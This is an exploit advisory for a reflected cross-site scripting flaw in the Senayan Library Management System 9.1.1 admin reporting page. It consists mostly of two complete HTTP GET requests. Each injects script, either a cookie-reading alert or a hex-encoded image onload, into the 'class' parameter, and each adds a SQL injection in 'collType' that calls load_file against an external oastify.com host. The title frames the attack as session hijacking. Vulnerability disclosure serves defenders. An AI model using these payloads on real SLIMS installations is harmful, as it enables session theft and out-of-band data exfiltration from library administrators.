Senayan Library Management System 9.1.1 Cross Site Scripting Vulnerability

## Title: Senayan Library Management System v9.1.1 a.k.a SLIMS 9 XSS-Reflected - PHPSESSID Hijacking + inserting webp image
## Author: nu11secur1ty
## Vendor: https://slims.web.id/web/
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.1.1
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1

## Description:
The value of the `class` request parameter is copied into the HTML
document as plain text between tags.
The payload ytrrh<script>alert(1)</script>z3nj2 was submitted in the
class parameter. This input was echoed unmodified in the application's
response.
The attacker can trick some authenticated user to visit his page and
give to him very sensitive information about the system.

## STATUS: HIGH Vulnerability

[+] Payloads:
0.0

```GET
GET /slims9_bulian-9.1.1/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=nu11secur1ty<script>alert(document.cookie)</script>&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.oastify.com%5c%5cwtf%27))%2b%27
HTTP/1.1
Host: pwnedhost.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=v37jtjmmhl46f8tge63h37nin1; admin_logged_in=1
Connection: close

```
0.1
```GET
GET /slims9_bulian-9.1.1/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%3c%64%69%76%3e%3c%69%6d%61%67%65%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%72%61%77%2e%67%69%74%68%75%62%75%73%65%72%63%6f%6e%74%65%6e%74%2e%63%6f%6d%2f%6e%75%31%31%73%65%63%75%72%31%74%79%2f%58%53%53%69%67%68%74%2f%6d%61%73%74%65%72%2f%58%53%53%2d%69%6d%61%67%65%2f%69%6d%61%67%65%2f%6b%6f%73%74%61%61%6b%61%74%69%6c%2e%77%65%62%70%20%6f%6e%6c%6f%61%64%73%74%61%72%74%3d%61%6c%65%72%74%28%31%33%33%37%29%3e%68%65%6c%6c%6f%20%66%72%6f%6d%20%6e%75%31%31%73%65%63%75%72%31%74%79%3c%2f%64%69%76%3e&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.oastify.com%5c%5cwtf%27))%2b%27
HTTP/1.1
Host: pwnedhost.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SenayanAdmin=v37jtjmmhl46f8tge63h37nin1; admin_logged_in=1
Connection: close

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.1.1)

## Proof and Exploit:
[href](https://streamable.com/ibdulr)

## Time spent
`01:30:00`